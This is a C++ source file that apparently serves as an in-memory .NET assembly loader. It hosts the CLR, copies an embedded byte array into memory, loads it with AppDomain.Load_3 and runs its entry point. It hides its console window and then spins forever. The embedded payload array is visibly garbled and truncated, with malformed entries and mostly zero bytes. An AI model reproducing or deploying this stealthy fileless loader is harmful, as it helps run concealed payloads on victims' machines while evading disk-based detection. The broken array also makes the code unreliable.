cl

#include "stdafx.h"
#include<metahost.h>
#include <metahost.h>
#include <iostream>
#pragma comment(lib, "MSCOREE.lib")
using namespace std;
#define RAW_ASSEMBLY_LENGTH 16896


unsigned char rawData[16896] = {

	0xAB, 0x01, 0x21, 0x01, 0x9D, 0x08, 0xF6, 0x01, 0x2E, 0x00, 0x13, 0x00,
	x0E, 0x0E, 0x0E,
	0x08, 0x02, 0x0E, 0x02, 0x06, 0x20, 0x03, 0x1C, 0x0E, 0x0E, 0x0E, 0x03,
	0x20, 0x00, 0x1C, 0x11, 0x00, 0x08, 0x08, 0x10, 0x0E, 0x10, 0x0E, 0x08,
	0x1
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};



int _tmain(int argc, _TCHAR* argv[])
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);
	ICLRMetaHost* pMetaHost = NULL;

	HRESULT hr;

	/* Get ICLRMetaHost instance */

	hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);

	if (FAILED(hr))
	{
		printf("[!] CLRCreateInstance(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] CLRCreateInstance(...) succeeded\n");

	ICLRRuntimeInfo* pRuntimeInfo = NULL;

	/* Get ICLRRuntimeInfo instance */

	hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);

	if (FAILED(hr))
	{
		printf("[!] pMetaHost->GetRuntime(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pMetaHost->GetRuntime(...) succeeded\n");

	BOOL bLoadable;

	/* Check if the specified runtime can be loaded */

	hr = pRuntimeInfo->IsLoadable(&bLoadable);

	if (FAILED(hr) || !bLoadable)
	{
		printf("[!] pRuntimeInfo->IsLoadable(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pRuntimeInfo->IsLoadable(...) succeeded\n");

	ICorRuntimeHost* pRuntimeHost = NULL;

	/* Get ICorRuntimeHost instance */

	hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);

	if (FAILED(hr))
	{
		printf("[!] pRuntimeInfo->GetInterface(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pRuntimeInfo->GetInterface(...) succeeded\n");

	/* Start the CLR */

	hr = pRuntimeHost->Start();

	if (FAILED(hr))
	{
		printf("[!] pRuntimeHost->Start() failed\n");

		getchar();

		return -1;
	}

	printf("[+] pRuntimeHost->Start() succeeded\n");

	IUnknownPtr pAppDomainThunk = NULL;

	hr = pRuntimeHost->GetDefaultDomain(&pAppDomainThunk);

	if (FAILED(hr))
	{
		printf("[!] pRuntimeHost->GetDefaultDomain(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pRuntimeHost->GetDefaultDomain(...) succeeded\n");

	_AppDomainPtr pDefaultAppDomain = NULL;

	/* Equivalent of System.AppDomain.CurrentDomain in C# */

	hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

	if (FAILED(hr))
	{
		printf("[!] pAppDomainThunk->QueryInterface(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pAppDomainThunk->QueryInterface(...) succeeded\n");

	_AssemblyPtr pAssembly = NULL;

	SAFEARRAYBOUND rgsabound[1];

	rgsabound[0].cElements = RAW_ASSEMBLY_LENGTH;

	rgsabound[0].lLbound = 0;

	SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);

	void* pvData = NULL;

	hr = SafeArrayAccessData(pSafeArray, &pvData);

	if (FAILED(hr))
	{
		printf("[!] SafeArrayAccessData(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] SafeArrayAccessData(...) succeeded\n");

	memcpy(pvData, rawData, RAW_ASSEMBLY_LENGTH);

	hr = SafeArrayUnaccessData(pSafeArray);

	if (FAILED(hr))
	{
		printf("[!] SafeArrayUnaccessData(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] SafeArrayUnaccessData(...) succeeded\n");

	/* Equivalent of System.AppDomain.CurrentDomain.Load(byte[] rawAssembly) */

	hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);

	if (FAILED(hr))
	{
		printf("[!] pDefaultAppDomain->Load_3(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pDefaultAppDomain->Load_3(...) succeeded\n");

	_MethodInfoPtr pMethodInfo = NULL;

	/* Assembly.EntryPoint Property */

	hr = pAssembly->get_EntryPoint(&pMethodInfo);

	if (FAILED(hr))
	{
		printf("[!] pAssembly->get_EntryPoint(...) failed\n");

		getchar();

		return -1;
	}

	printf("[+] pAssembly->get_EntryPoint(...) succeeded\n");

	VARIANT retVal;
	ZeroMemory(&retVal, sizeof(VARIANT));

	VARIANT obj;
	ZeroMemory(&obj, sizeof(VARIANT));
	obj.vt = VT_NULL;

	//TODO! Change cElement to the number of Main arguments
	SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);

	/* EntryPoint.Invoke(null, new object[0]) */

	hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);

	if (FAILED(hr))
	{
		printf("[!] pMethodInfo->Invoke_3(...) failed, hr = %X\n", hr);

		getchar();

		return -1;
	}

	printf("[+] pMethodInfo->Invoke_3(...) succeeded\n");

while(1==1){}

	return 0;
}